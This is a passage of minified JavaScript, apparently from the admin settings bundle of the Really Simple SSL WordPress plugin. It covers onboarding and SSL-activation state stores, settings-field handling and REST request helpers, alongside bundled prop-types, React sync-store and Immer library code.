t=f(l,e.menu_items);t&&t.menu_items&&t.menu_items.hasOwnProperty(0)&&(l=t.menu_items[0].id)}return l},f=(e,t)=>{for(const n in t){let r=t[n];if(r.id===e)return r;if(r.menu_items){let t=f(e,r.menu_items);if(t)return t}}return!1},m=e=>{let t=Array.isArray(e.menu_items)?e.menu_items:Object.values(e.menu_items);for(let[e,n]of t.entries())"object"==typeof n&&null!==n&&(n.visible=!0,n.hasOwnProperty("menu_items")&&(n=m(n)),t[e]=n);return e.menu_items=t,e.visible=!0,e}},5319:(e,t,n)=>{"use strict";n.d(t,{A:()=>r});const r=(0,n(1621).vt)(((e,t)=>({modalData:[],buttonsDisabled:!1,showModal:!1,ignoredItems:[],fixedItems:[],item:!1,setIgnoredItemId:n=>{let r=t().ignoredItems;r.push(n),e({ignoredItems:r})},setFixedItemId:n=>{let r=t().fixedItems;r.push(n),e({fixedItems:r})},handleModal:(t,n,r)=>{e({showModal:t,modalData:n,item:r})},setModalData:t=>{e({modalData:t})}})))},7283:(e,t,n)=>{"use strict";n.d(t,{A:()=>u});var r=n(1621),s=n(6535),o=n(4110),i=n(7723);const a=(0,r.vt)(((e,t)=>({steps:[],currentStepIndex:0,currentStep:{},error:!1,networkProgress:0,networkActivationStatus:"",certificateValid:"",networkwide:!1,sslEnabled:!1,overrideSSL:!1,showOnboardingModal:!1,modalStatusLoaded:!1,dataLoaded:!1,processing:!1,email:"",includeTips:!1,sendTestEmail:!0,overrideSSLDetection:!1,footerStatus:"",setFooterStatus:t=>{e({footerStatus:t})},setIncludeTips:t=>{e((e=>({includeTips:t})))},setSendTestEmail:t=>{e((e=>({sendTestEmail:t})))},setEmail:t=>{e((e=>({email:t})))},setShowOnboardingModal:t=>{e((e=>({showOnboardingModal:t})))},setProcessing:t=>{e((e=>({processing:t})))},setCurrentStepIndex:n=>{const r=t().steps[n];e((e=>({currentStepIndex:n,currentStep:r})))},dismissModal:async t=>{let n={};n.dismiss=t,e((()=>({showOnboardingModal:!t}))),await o.Eo("dismiss_modal",n)},setOverrideSSL:async t=>{e({overrideSSL:t});let n={overrideSSL:t};await o.Eo("override_ssl_detection",n)},activateSSL:()=>{e((e=>({processing:!0}))),o.YA("activate_ssl").then((async n=>{e((e=>({processing:!1}))),t().setCurrentStepIndex(t().currentStepIndex+1),n.success&&(n.site_url_changed?window.location.reload():t().networkwide&&e((e=>({networkActivationStatus:"main_site_activated"}))),e({sslEnabled:!0}))}))},saveEmail:()=>{t().setFooterStatus((0,i.__)("Updating email preferences..","really-simple-ssl"));let n={};n.email=t().email,n.includeTips=t().includeTips,n.sendTestEmail=t().sendTestEmail,e((e=>({processing:!0}))),o.Eo("update_email",n).then((n=>{e((e=>({processing:!1}))),t().setFooterStatus("")}))},updateItemStatus:(n,r,o,i,a)=>{const l=t().steps.findIndex((e=>e.id===n)),c=t().steps[l].items.findIndex((e=>e.id===r));e((0,s.jM)((e=>{void 0!==o&&(e.steps[l].items[c].action=o),void 0!==i&&(e.steps[l].items[c].status=i),void 0!==a&&(e.steps[l].items[c].activated=a)})));let u=t().steps[t().currentStepIndex];e((0,s.jM)((e=>{e.currentStep=u})))},fetchOnboardingModalStatus:async()=>{o.Eo("get_modal_status").then((t=>{e({showOnboardingModal:!t.dismissed,modalStatusLoaded:!0})}))},setShowOnBoardingModal:t=>e((e=>({showOnboardingModal:t}))),pluginInstaller:async(n,r,s)=>{if(!r)return;e((()=>({processing:!0}))),t().updateItemStatus("plugins",n,r,"processing"),t().setFooterStatus((0,i.__)("Installing %d...","really-simple-ssl").replace("%d",s));let o=await c(r,n);t().updateItemStatus("plugins",n,o),"none"!==o&&"completed"!==o?(t().setFooterStatus((0,i.__)("Activating %d...","really-simple-ssl").replace("%d",s)),o=await c(o,n),t().updateItemStatus("plugins",n,o)):t().setFooterStatus(""),e((e=>({processing:!1})))},getSteps:async t=>{const{steps:n,networkActivationStatus:r,certificateValid:s,networkProgress:o,networkwide:i,overrideSSL:a,error:c,sslEnabled:u,upgradedFromFree:d}=await l(t);let f=0;!d&&(u||i&&"completed"===r)&&(f=1),e({steps:n,currentStepIndex:f,currentStep:n[f],networkActivationStatus:r,certificateValid:s,networkProgress:o,networkwide:i,overrideSSL:a,sslEnabled:u,dataLoaded:!0,error:c}),"completed"===r&&e({networkProgress:100})},refreshSSLStatus:t=>{t.preventDefault(),e({processing:!0}),e((0,s.jM)((e=>{const t=e.steps.findIndex((e=>"activate_ssl"===e.id)),n=e.steps[t];n.items.forEach((function(e,t){"error"===e.status&&(n.items[t].status="processing",n.items[t].title=(0,i.__)("Re-checking SSL certificate, please wait...","really-simple-ssl"))})),e.steps[t]=n}))),setTimeout((async function(){const{steps:t,certificateValid:n,error:r}=await l(!0);e({steps:t,certificateValid:n,processing:!1,error:r})}),1e3)},activateSSLNetworkWide:()=>{let n=t().networkProgress;void 0!==n&&t().setFooterStatus((0,i.__)("%d% of subsites activated.").replace("%d",n)),t().networkProgress>=100?e({sslEnabled:!0,networkActivationStatus:"completed"}):(e((()=>({processing:!0}))),o.YA("activate_ssl_networkwide").then((n=>{n.success&&(e({networkProgress:n.progress,processing:!1}),t().setFooterStatus((0,i.__)("%d% of subsites activated.").replace("%d",n.progress)),n.progress>=100&&(t().setFooterStatus(""),e({sslEnabled:!0,networkActivationStatus:"completed"})))})))}}))),l=e=>{let t={};return t.forceRefresh=e,o.Eo("onboarding_data",t).then((e=>{let t=e.steps,n=e.ssl_enabled;return{steps:t,networkActivationStatus:e.network_activation_status,certificateValid:e.certificate_valid,networkProgress:e.network_progress,networkwide:e.networkwide,overrideSSL:e.ssl_detection_overridden,error:e.error,sslEnabled:n,upgradedFromFree:e.rsssl_upgraded_from_free}}))},c=async(e,t)=>{let n={};return n.id=t,await o.Eo(e,n).then((async e=>e.success?e.next_action:"failed")).catch((e=>"failed"))},u=a},6975:(e,t,n)=>{"use strict";n.d(t,{A:()=>l});var r=n(1621),s=n(6535),o=n(4110),i=n(7723),a=n(9571);const l=(0,r.vt)(((e,t)=>({fieldsLoaded:!1,error:!1,fields:[],changedFields:[],progress:[],nextButtonDisabled:!1,overrideNextButtonDisabled:!1,refreshTests:!1,highLightField:"",setHighLightField:t=>{e({highLightField:t})},setRefreshTests:t=>e((e=>({refreshTests:t}))),handleNextButtonDisabled:t=>{e({overrideNextButtonDisabled:t})},setChangedField:(t,n)=>{e((0,s.jM)((e=>{const r=e.changedFields.findIndex((e=>e.id===t));-1!==r&&e.changedFields.splice(r,1);let s={};s.id=t,s.value=n,e.changedFields.push(s)})))},showSavedSettingsNotice:(e,t="success")=>{d(e,t)},updateField:(t,n)=>{e((0,s.jM)((e=>{let r=e.fields.findIndex((e=>e.id===t));-1!==r&&(e.fields[r].value=n)})))},updateFieldAttribute:(t,n,r)=>{e((0,s.jM)((e=>{let s=e.fields.findIndex((e=>e.id===t));-1!==s&&(e.fields[s][n]=r)})))},updateSubField:(t,n,r)=>{e((0,s.jM)((e=>{let s=e.fields.findIndex((e=>e.id===t)),o=e.fields[s].value;Array.isArray(o)||(o=[]);let i=o.findIndex((e=>e.id===n));-1!==i&&(e.fields[s].updateItemId=n,e.fields[s].value[i].value=r,e.fields[s].value=o.map((e=>{const{deleteControl:t,valueControl:n,statusControl:r,...s}=e;return s})))})))},removeHelpNotice:t=>{e((0,s.jM)((e=>{const n=e.fields.findIndex((e=>e.id===t));e.fields[n].help=!1})))},addHelpNotice:(n,r,o,i,a)=>{t().removeHelpNotice(n);let l={};l.label=r,l.text=o,a&&(l.url=a),i&&(l.title=i),e((0,s.jM)((e=>{const t=e.fields.findIndex((e=>e.id===n));-1!==t&&(e.fields[t].help=l)})))},fieldAlreadyEnabled:e=>{let n=t().changedFields.filter((t=>t.id===e)).length>0,r=t().getFieldValue(e);return!n&&r},getFieldValue:e=>{let n=t().fields.filter((t=>t.id===e))[0];return!!n&&n.value},getField:e=>t().fields.filter((t=>t.id===e))[0]||!1,saveFields:async(n,r,l=!1)=>{let c=void 0===n||n;r=void 0===r||r;let u=t().fields;u=u.filter((e=>"banner"!==e.data_target));let d=t().changedFields,f=[];for(const e of u){let t=d.filter((t=>t.id===e.id)).length>0,n="select"===e.type||"radio"===e.type;(t||e.never_saved&&!e.disabled&&n)&&f.push(e)}if(f.length>0||!0===l){let t=o.Ey(f).then((e=>e));r&&a.toast.promise(t,{pending:(0,i.__)("Saving settings...","really-simple-ssl"),success:(0,i.__)("Settings saved","really-simple-ssl"),error:(0,i.__)("Something went wrong","really-simple-ssl")}),await t.then((t=>{e((0,s.jM)((e=>{e.changedFields=[],e.fields=t.fields,e.progress=t.progress,e.refreshTests=c})))}))}r&&0===f.length&&a.toast.promise(Promise.resolve(),{success:(0,i.__)("Settings saved","really-simple-ssl")})},updateFieldsData:n=>{let r=t().fields;if(r=u(r),n){let o=c(r,n);t().overrideNextButtonDisabled&&(o=t().overrideNextButtonDisabled),e((0,s.jM)((e=>{e.nextButtonDisabled=o})))}e((0,s.jM)((e=>{e.fields=r})))},fetchFieldsData:async t=>{const{fields:n,progress:r,error:s}=await o.ww().then((e=>({fields:e.fields,progress:e.progress,error:e.error}))).catch((e=>{console.error(e)}));let i=u(n),a=i.filter((e=>e.menu_id===t));e({fieldsLoaded:!0,fields:i,selectedFields:a,progress:r,error:s})}}))),c=(e,t)=>{let n=[];for(const r of e)r.menu_id===t&&n.push(r);return n.filter((e=>e.required&&!e.conditionallyDisabled&&(0==e.value.length||!e.value))).length>0},u=e=>{let t=[];return e&&Array.isArray(e)?(e.forEach((function(n,r){let s=!(n.hasOwnProperty("react_conditions")&&!f(n.react_conditions,e,n.id)),o=!n.conditionallyDisabled;const i={...n};i.conditionallyDisabled=!s,i.visible=!(!s&&("letsencrypt"===i.type||"hide"===i.condition_action)),t.push(i),!o&&i.enabled&&"learningmode"!==n.type&&set().setChangedField(n.id,n.value)})),t):[]},d=(e,t)=>{void 0===e&&(e=(0,i.__)("Settings saved","really-simple-ssl")),void 0===t&&(t="success"),"error"===t&&a.toast.error(e),"warning"===t&&a.toast.warning(e),"info"===t&&a.toast.info(e),"success"===t&&a.toast.success(e)},f=(e,t,n)=>{let r="OR"===e[0].relation?"OR":"AND",s="AND"===r;for(const o in e)if(e.hasOwnProperty(o)){let i="AND"===r,a=e[o];if(a.hasOwnProperty("relation"))i=f(a,t,n);else{for(let e in a){let n=0===e.indexOf("!");if(a.hasOwnProperty(e)){let n=a[e];e=e.replace("!","");let r=t.filter((t=>t.id===e));if(r.hasOwnProperty(0)){let e=r[0],t=e.value;if("text_checkbox"===e.type)i=t.hasOwnProperty("show")&&t.show==n;else if("checkbox"===e.type)i=t==n;else if("multicheckbox"===e.type){i=!1;let e=t;if(0===e.length)i=!1;else for(const t of Object.keys(e))if(Array.isArray(n)||(n=[n]),n.includes(e[t])){i=!0;break}}else i="radio"===e.type?Array.isArray(n)?n.includes(t):n===t:!0===n?1===t||"1"===t||!0===t:!1===n?0===t||"0"===t||!1===t:-1!==n.indexOf("EMPTY")?0===t.length:String(t).toLowerCase()===n.toLowerCase()}}n&&(i=!i),s="AND"===r?s&&i:s||i}s="AND"===r?s&&i:s||i}}return s?1:0}},1446:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:()=>a});var r=n(1609),s=n(6427),o=n(7143);const i=window.wp.notices,a=()=>{const e=(0,o.useSelect)((e=>e(i.store).getNotices().filter((e=>"snackbar"===e.type))),[]);if(void 0===e)return(0,r.createElement)(r.Fragment,null);const{removeNotice:t}=(0,o.useDispatch)(i.store);return(0,r.createElement)(s.SnackbarList,{className:"edit-site-notices",notices:e,onRemove:t})}},6155:(e,t,n)=>{"use strict";n.d(t,{g:()=>r});const r=e=>{const t=rsssl_settings.ref;if(parseInt(t)>0){const[n,r]=e.split("#"),s=n.includes("?")?"&":"?";e=`${n}${s}ref=${t}${r?`#${r}`:""}`}return e}},3972:(e,t,n)=>{"use strict";n.d(t,{A:()=>i});var r=n(1609),s=n(7723),o=n(4124);const i=e=>{e.error&&(console.log("errors detected during the loading of the settings page"),console.log(e.error));let t=!1,n=(0,s.__)("Please check if security settings on the server or a plugin is blocking the requests from Really Simple Security.","really-simple-ssl"),i=!1;return e.error&&(i=e.error.message,"string"!=typeof i&&(i=JSON.stringify(i)),"rest_no_route"===e.error.code?t=(0,s.__)("The Really Simple Security Rest API is disabled.","really-simple-ssl")+" "+n:"404"===e.error.data.status?t=(0,s.__)("The Really Simple Security Rest API returned a not found.","really-simple-ssl")+" "+n:"403"===e.error.data.status&&(t=(0,s.__)("The Really Simple Security Rest API returned a 403 forbidden error.","really-simple-ssl")+" "+n),i.length>100&&(i=i.substring(0,100)+"...")),(0,r.createElement)(r.Fragment,null,e.error&&(0,r.createElement)("div",{className:"rsssl-rest-error-message"},(0,r.createElement)("h3",null,(0,s.__)("A problem was detected during the loading of the settings","really-simple-ssl")),t&&(0,r.createElement)("p",null,t),(0,r.createElement)("div",null,(0,r.createElement)("p",null,(0,s.__)("The request returned the following errors:","really-simple-ssl")),(0,r.createElement)("ul",null,e.error.code&&(0,r.createElement)("li",null,(0,s.__)("Response code:","really-simple-ssl")," ",e.error.code),e.error.data.status&&(0,r.createElement)("li",null,(0,s.__)("Status code:","really-simple-ssl")," ",e.error.data.status),i&&(0,r.createElement)("li",null,(0,s.__)("Server response:","really-simple-ssl")," ",i))),(0,r.createElement)(o.A,{className:"button button-default",target:"_blank",rel:"noopener noreferrer",text:(0,s.__)("More information","really-simple-ssl"),url:"https://really-simple-ssl.com/instructions/how-to-debug-a-blank-settings-page-in-really-simple-ssl/"})))}},5170:(e,t,n)=>{"use strict";n.d(t,{A:()=>l});var r=n(1609),s=n(6087),o=n(5556),i=n.n(o);class a extends s.Component{constructor(e){super(e),this.state={hasError:!1,error:null,errorInfo:null},this.resetError=this.resetError.bind(this)}static getDerivedStateFromError(e){return{hasError:!0}}componentDidCatch(e,t){this.setState({error:e,errorInfo:t}),console.log("ErrorBoundary",e,t)}resetError(){this.setState({hasError:!1,error:null,errorInfo:null})}render(){return this.state.hasError?(0,r.createElement)("div",null,(0,r.createElement)("h1",null,"Something went wrong."),(0,r.createElement)("p",null,this.props.fallback),(0,r.createElement)("button",{onClick:this.resetError},"Try Again")):this.props.children}}a.propTypes={children:i().node,fallback:i().node};const l=a},4124:(e,t,n)=>{"use strict";n.d(t,{A:()=>s});var r=n(1609);const s=e=>{let t="",n="",s="";if(-1!==e.text.indexOf("%s")){let r=e.text.split(/%s/);t=r[0],s=r[1],n=r[2]}else s=e.text;let o=e.className?e.className:"rsssl-link";return(0,r.createElement)(r.Fragment,null,t,(0,r.createElement)("a",{className:o,target:e.target,rel:e.rel,href:e.url},s),n)}},4110:(e,t,n)=>{"use strict";n.d(t,{Eo:()=>y,Ey:()=>h,YA:()=>g,bl:()=>v,ww:()=>p});var r=n(5511),s=n(1455),o=n.n(s);const i=()=>"&nonce="+rsssl_settings.rsssl_nonce+"&token="+Math.random().toString(36).replace(/[^a-z]+/g,"").substr(0,5),a=(e,t)=>e?e&&e.includes("Control")?void 0:"object"==typeof t?JSON.parse(JSON.stringify(t,a)):t:t,l=e=>new Promise((function(t,n){let r=c("ajax");r+="&rest_action="+e.replace("?","&");let s=new XMLHttpRequest;s.open("GET",r),s.onload=function(){let e;try{e=JSON.parse(s.response)}catch(e){t(u(s.response,500,"invalid_data"))}s.status>=200&&s.status<300?(e.hasOwnProperty("request_success")||t(u(s.response,500,"invalid_data")),t(e)):t(u(s.response,s.status,s.statusText))},s.onerror=function(){t(u(s.response,s.status,s.statusText))},s.send()})),c=e=>{let t;return t=void 0===e?rsssl_settings.site_url:rsssl_settings.admin_ajax_url,"https:"===window.location.protocol&&-1===t.indexOf("https://")?t.replace("http://","https://"):t},u=(e,t,n)=>{let r={},s={},o={};return o.status=t,s.code=n,s.data=o,s.message=e,r.error=s,r},d=e=>o()({path:e}).then((t=>t.request_success?t:l(e))).catch((t=>l(e))),f=(e,t)=>o()({path:e,method:"POST",data:t}).catch((n=>((e,t)=>new Promise((function(n,r){let s=c("ajax"),o=new XMLHttpRequest;o.open("POST",s),o.onload=function(){let e;try{e=JSON.parse(o.response)}catch(e){n(u(o.response,500,"invalid_data"))}o.status>=200&&o.status<300?n(e):n(u(o.response,o.status,o.statusText))},o.onerror=function(){n(u(o.response,o.status,o.statusText))};let i={};i.path=e,i.data=t,i=JSON.stringify(i,a),o.setRequestHeader("Content-Type","application/json; charset=UTF-8"),o.send(i)})))(e,t))),m=()=>-1!==rsssl_settings.site_url.indexOf("?")?"&":"?",p=()=>{let e=(0,r.A)("main");return d("reallysimplessl/v1/fields/get"+m()+e+i())},h=e=>{let t=(0,r.A)("main"),n={nonce:rsssl_settings.rsssl_nonce};return e.push(n),f("reallysimplessl/v1/fields/set"+m()+t,e)},g=(e,t,n)=>(t||(t=!1),n||(n=!1),n=encodeURIComponent(JSON.stringify(n)),d("reallysimplessl/v1/tests/"+e+m()+"state="+t+i()+"&data="+n)),v=(e,t)=>d("reallysimplessl/v1/tests/"+e+m()+"letsencrypt=1&id="+t+i()),y=(e,t)=>{const n={...t};return n.nonce=rsssl_settings.rsssl_nonce,f("reallysimplessl/v1/do_action/"+e,n)}},5511:(e,t,n)=>{"use strict";n.d(t,{A:()=>r});const r=e=>{let t=window.location.href;if(-1===t.indexOf("#"))return!1;let n=t.split("#")[1];if(!n)return!1;let r=n.split("&");if("highlightfield"===e){for(let e of r)if(e.startsWith("highlightfield="))return e.split("=")[1];return!1}let s=r[0];if("anchor"===e){if(-1===s.indexOf("/"))return!1;{let e=s.split("/");return e.length>2&&e[2]}}if("menu"===e){if(-1===s.indexOf("/"))return!1;{let e=s.split("/");return e.length>1&&e[1]}}return-1===s.indexOf("/")?s:s.split("/")[0]}},53:(e,t,n)=>{"use strict";function r(e){var t,n,s="";if("string"==typeof e||"number"==typeof e)s+=e;else if("object"==typeof e)if(Array.isArray(e))for(t=0;t<e.length;t++)e[t]&&(n=r(e[t]))&&(s&&(s+=" "),s+=n);else for(t in e)e[t]&&(s&&(s+=" "),s+=t);return s}n.d(t,{A:()=>s});const s=function(){for(var e,t,n=0,s="";n<arguments.length;)(e=arguments[n++])&&(t=r(e))&&(s&&(s+=" "),s+=t);return s}},2694:(e,t,n)=>{"use strict";var r=n(6925);function s(){}function o(){}o.resetWarningCache=s,e.exports=function(){function e(e,t,n,s,o,i){if(i!==r){var a=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw a.name="Invariant Violation",a}}function t(){return e}e.isRequired=e;var n={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:o,resetWarningCache:s};return n.PropTypes=n,n}},5556:(e,t,n)=>{e.exports=n(2694)()},6925:e=>{"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},1063:(e,t,n)=>{"use strict";var r=n(1609),s="function"==typeof Object.is?Object.is:function(e,t){return e===t&&(0!==e||1/e==1/t)||e!=e&&t!=t},o=r.useState,i=r.useEffect,a=r.useLayoutEffect,l=r.useDebugValue;function c(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!s(e,n)}catch(e){return!0}}var u="undefined"==typeof window||void 0===window.document||void 0===window.document.createElement?function(e,t){return t()}:function(e,t){var n=t(),r=o({inst:{value:n,getSnapshot:t}}),s=r[0].inst,u=r[1];return a((function(){s.value=n,s.getSnapshot=t,c(s)&&u({inst:s})}),[e,n,t]),i((function(){return c(s)&&u({inst:s}),e((function(){c(s)&&u({inst:s})}))}),[e]),l(n),n};t.useSyncExternalStore=void 0!==r.useSyncExternalStore?r.useSyncExternalStore:u},8940:(e,t,n)=>{"use strict";var r=n(1609),s=n(9888),o="function"==typeof Object.is?Object.is:function(e,t){return e===t&&(0!==e||1/e==1/t)||e!=e&&t!=t},i=s.useSyncExternalStore,a=r.useRef,l=r.useEffect,c=r.useMemo,u=r.useDebugValue;t.useSyncExternalStoreWithSelector=function(e,t,n,r,s){var d=a(null);if(null===d.current){var f={hasValue:!1,value:null};d.current=f}else f=d.current;d=c((function(){function e(e){if(!l){if(l=!0,i=e,e=r(e),void 0!==s&&f.hasValue){var t=f.value;if(s(t,e))return a=t}return a=e}if(t=a,o(i,e))return t;var n=r(e);return void 0!==s&&s(t,n)?t:(i=e,a=n)}var i,a,l=!1,c=void 0===n?null:n;return[function(){return e(t())},null===c?void 0:function(){return e(c())}]}),[t,n,r,s]);var m=i(e,d[0],d[1]);return l((function(){f.hasValue=!0,f.value=m}),[m]),u(m),m}},9888:(e,t,n)=>{"use strict";e.exports=n(1063)},9242:(e,t,n)=>{"use strict";e.exports=n(8940)},1609:e=>{"use strict";e.exports=window.React},5795:e=>{"use strict";e.exports=window.ReactDOM},1455:e=>{"use strict";e.exports=window.wp.apiFetch},6427:e=>{"use strict";e.exports=window.wp.components},7143:e=>{"use strict";e.exports=window.wp.data},6087:e=>{"use strict";e.exports=window.wp.element},7723:e=>{"use strict";e.exports=window.wp.i18n},6535:(e,t,n)=>{"use strict";function r(e){for(var t=arguments.length,n=Array(t>1?t-1:0),r=1;r<t;r++)n[r-1]=arguments[r];throw Error("[Immer] minified error nr: "+e+(n.length?" "+n.map((function(e){return"'"+e+"'"})).join(","):"")+". Find the full error at: https://bit.ly/3cXEKWf")}function s(e){return!!e&&!!e[V]}function o(e){var t;return!!e&&(function(e){if(!e||"object"!=typeof e)return!1;var t=Object.getPrototypeOf(e);if(null===t)return!0;var n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;return n===Object||"function"==typeof n&&Function.toString.call(n)===H}(e)||Array.isArray(e)||!!e[q]||!!(null===(t=e.constructor)||void 0===t?void 0:t[q])||u(e)||d(e))}function i(e,t,n){void 0===n&&(n=!1),0===a(e)?(n?Object.keys:W)(e).forEach((function(r){n&&"symbol"==typeof r||t(r,e[r],e)})):e.forEach((function(n,r){return t(r,n,e)}))}function a(e){var t=e[V];return t?t.i>3?t.i-4:t.i:Array.isArray(e)?1:u(e)?2:d(e)?3:0}function l(e,t){return 2===a(e)?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function c(e,t,n){var r=a(e);2===r?e.set(t,n):3===r?e.add(n):e[t]=n}function u(e){return j&&e instanceof Map}function d(e){return B&&e instanceof Set}function f(e){return e.o||e.t}function m(e){if(Array.isArray(e))return Array.prototype.slice.call(e);var t=U(e);delete t[V];for(var n=W(t),r=0;r<n.length;r++){var s=n[r],o=t[s];!1===o.writable&&(o.writable=!0,o.configurable=!0),(o.get||o.set)&&(t[s]={configurable:!0,writable:!0,enumerable:o.enumerable,value:e[s]})}return Object.create(Object.getPrototypeOf(e),t)}function p(e,t){return void 0===t&&(t=!1),g(e)||s(e)||!o(e)||(a(e)>1&&(e.set=e.add=e.clear=e.delete=h),Object.freeze(e),t&&i(e,(function(e,t){return p(t,!0)}),!0)),e}function h(){r(2)}function g(e){return null==e||"object"!=typeof e||Object.isFrozen(e)}function v(e){var t=J[e];return t||r(18,e),t}function y(){return F}function b(e,t){t&&(v("Patches"),e.u=[],e.s=[],e.v=t)}function E(e){_(e),e.p.forEach(S),e.p=null}function _(e){e===F&&(F=e.l)}function w(e){return F={p:[],l:F,h:e,m:!0,_:0}}function S(e){var t=e[V];0===t.i||1===t.i?t.j():t.g=!0}function O(e,t){t._=t.p.length;var n=t.p[0],s=void 0!==e&&e!==n;return t.h.O||v("ES5").S(t,e,s),s?(n[V].P&&(E(t),r(4)),o(e)&&(e=T(t,e),t.l||P(t,e)),t.u&&v("Patches").M(n[V].t,e,t.u,t.s)):e=T(t,n,[]),E(t),t.u&&t.v(t.u,t.s),e!==z?e:void 0}function T(e,t,n){if(g(t))return t;var r=t[V];if(!r)return i(t,(function(s,o){return I(e,r,t,s,o,n)}),!0),t;if(r.A!==e)return t;if(!r.P)return P(e,r.t,!0),r.t;if(!r.I){r.I=!0,r.A._--;var s=4===r.i||5===r.i?r.o=m(r.k):r.o,o=s,a=!1;3===r.i&&(o=new Set(s),s.clear(),a=!0),i(o,(function(t,o){return I(e,r,s,t,o,n,a)})),P(e,s,!1),n&&e.u&&v("Patches").N(r,n,e.u,e.s)}return r.o}function I(e,t,n,r,i,a,u){if(s(i)){var d=T(e,i,a&&t&&3!==t.i&&!l(t.R,r)?a.concat(r):void 0);if(c(n,r,d),!s(d))return;e.m=!1}else u&&n.add(i);if(o(i)&&!g(i)){if(!e.h.D&&e._<1)return;T(e,i),t&&t.A.l||P(e,i)}}function P(e,t,n){void 0===n&&(n=!1),!e.l&&e.h.D&&e.m&&p(t,n)}function A(e,t){var n=e[V];return(n?f(n):e)[t]}function x(e,t){if(t in e)for(var n=Object.getPrototypeOf(e);n;){var r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Object.getPrototypeOf(n)}}function M(e){e.P||(e.P=!0,e.l&&M(e.l))}function k(e){e.o||(e.o=m(e.t))}function C(e,t,n){var r=u(t)?v("MapSet").F(t,n):d(t)?v("MapSet").T(t,n):e.O?function(e,t){var n=Array.isArray(e),r={i:n?1:0,A:t?t.A:y(),P:!1,I:!1,R:{},l:t,t:e,k:null,o:null,j:null,C:!1},s=r,o=K;n&&(s=[r],o=Y);var i=Proxy.revocable(s,o),a=i.revoke,l=i.proxy;return r.k=l,r.j=a,l}(t,n):v("ES5").J(t,n);return(n?n.A:y()).p.push(r),r}function N(e){return s(e)||r(22,e),function e(t){if(!o(t))return t;var n,r=t[V],s=a(t);if(r){if(!r.P&&(r.i<4||!v("ES5").K(r)))return r.t;r.I=!0,n=L(t,s),r.I=!1}else n=L(t,s);return i(n,(function(t,s){r&&function(e,t){return 2===a(e)?e.get(t):e[t]}(r.t,t)===s||c(n,t,e(s))})),3===s?new Set(n):n}(e)}function L(e,t){switch(t){case 2:return new Map(e);case 3:return Array.from(e)}return m(e)}n.d(t,{Ay:()=>Z,jM:()=>X});var D,F,R="undefined"!=typeof Symbol&&"symbol"==typeof Symbol("x"),j="undefined"!=typeof Map,B="undefined"!=typeof Set,$="undefined"!=typeof Proxy&&void 0!==Proxy.revocable&&"undefined"!=typeof Reflect,z=R?Symbol.for("immer-nothing"):((D={})["immer-nothing"]=!0,D),q=R?Symbol.for("immer-draftable"):"__$immer_draftable",V=R?Symbol.for("immer-state"):"__$immer_state",H=("undefined"!=typeof Symbol&&Symbol.iterator,""+Object.prototype.constructor),W="undefined"!=typeof Reflect&&Reflect.ownKeys?Reflect.ownKeys:void 0!==Object.getOwnPropertySymbols?function(e){return Object.getOwnPropertyNames(e).concat(Object.getOwnPropertySymbols(e))}:Object.getOwnPropertyNames,U=Object.getOwnPropertyDescriptors||function(e){var t={};return W(e).forEach((function(n){t[n]=Object.getOwnPropertyDescriptor(e,n)})),t},J={},K={get:function(e,t){if(t===V)return e;var n=f(e);if(!l(n,t))return function(e,t,n){var r,s=x(t,n);return s?"value"in s?s.value:null===(r=s.get)||void 0===r?void 0:r.call(e.k):void 0}(e,n,t);var r=n[t];return e.I||!o(r)?r:r===A(e.t,t)?(k(e),e.o[t]=C(e.A.h,r,e)):r},has:function(e,t){return t in f(e)},ownKeys:function(e){return Reflect.ownKeys(f(e))},set:function(e,t,n){var r=x(f(e),t);if(null==r?void 0:r.set)return r.set.call(e.k,n),!0;if(!e.P){var s=A(f(e),t),o=null==s?void 0:s[V];if(o&&o.t===n)return e.o[t]=n,e.R[t]=!1,!0;if(function(e,t){return e===t?0!==e||1/e==1/t:e!=e&&t!=t}(n,s)&&(void 0!==n||l(e.t,t)))return!0;k(e),M(e)}return e.o[t]===n&&(void 0!==n||t in e.o)||Number.isNaN(n)&&Number.isNaN(e.o[t])||(e.o[t]=n,e.R[t]=!0),!0},deleteProperty:function(e,t){return void 0!==A(e.t,t)||t in e.t?(e.R[t]=!1,k(e),M(e)):delete e.R[t],e.o&&delete e.o[t],!0},getOwnPropertyDescriptor:function(e,t){var n=f(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r?{writable:!0,configurable:1!==e.i||"length"!==t,enumerable:r.enumerable,value:n[t]}:r},defineProperty:function(){r(11)},getPrototypeOf:function(e){return Object.getPrototypeOf(e.t)},setPrototypeOf:function(){r(12)}},Y={};i(K,(function(e,t){Y[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}})),Y.deleteProperty=function(e,t){return Y.set.call(this,e,t,void 0)},Y.set=function(e,t,n){return K.set.call(this,e[0],t,n,e[0])};var Q=function(){function e(e){var t=this;this.O=$,this.D=!0,this.produce=function(e,n,s){if("function"==typeof e&&"function"!=typeof n){var i=n;n=e;var a=t;return function(e){var t=this;void 0===e&&(e=i);for(var r=arguments.length,s=Array(r>1?r-1:0),o=1;o<r;o++)s[o-1]=arguments[o];return a.produce(e,(function(e){var r;return(r=n).call.apply(r,[t,e].concat(s))}))}}var l;if("function"!=typeof n&&r(6),void 0!==s&&"function"!=typeof s&&r(7),o(e)){var c=w(t),u=C(t,e,void 0),d=!0;try{l=n(u),d=!1}finally{d?E(c):_(c)}return"undefined"!=typeof Promise&&l instanceof Promise?l.then((function(e){return b(c,s),O(e,c)}),(function(e){throw E(c),e})):(b(c,s),O(l,c))}if(!e||"object"!=typeof e){if(void 0===(l=n(e))&&(l=e),l===z&&(l=void 0),t.D&&p(l,!0),s){var f=[],m=[];v("Patches").M(e,l,f,m),s(f,m)}return l}r(21,e)},this.produceWithPatches=function(e,n){if("function"==typeof e)return function(n){for(var r=arguments.length,s=Array(r>1?r-1:0),o=1;o<r;o++)s[o-1]=arguments[o];return t.produceWithPatches(n,(function(t){return e.apply(void 